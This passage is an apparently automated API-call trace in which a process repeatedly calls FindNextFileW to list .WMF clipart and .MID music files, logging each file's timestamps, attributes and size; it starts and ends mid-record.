ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0245.972] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0245.972] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0245.973] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0245.973] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0245.973] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0245.973] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0245.974] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0245.974] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0245.974] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0245.974] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0245.975] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0247.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0247.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0247.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0247.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0247.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0247.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0247.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0247.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0247.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0247.272] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0247.272] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0247.272] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0247.272] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0247.272] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0247.273] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0247.273] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0247.273] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0247.273] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0247.273] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0247.274] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0247.274] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0247.274] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0247.274] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0247.275] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0247.275] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0247.275] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0247.275] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0247.275] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0247.276] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0247.276] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0247.276] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0247.276] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0247.276] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0247.276] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0249.489] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0249.490] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: 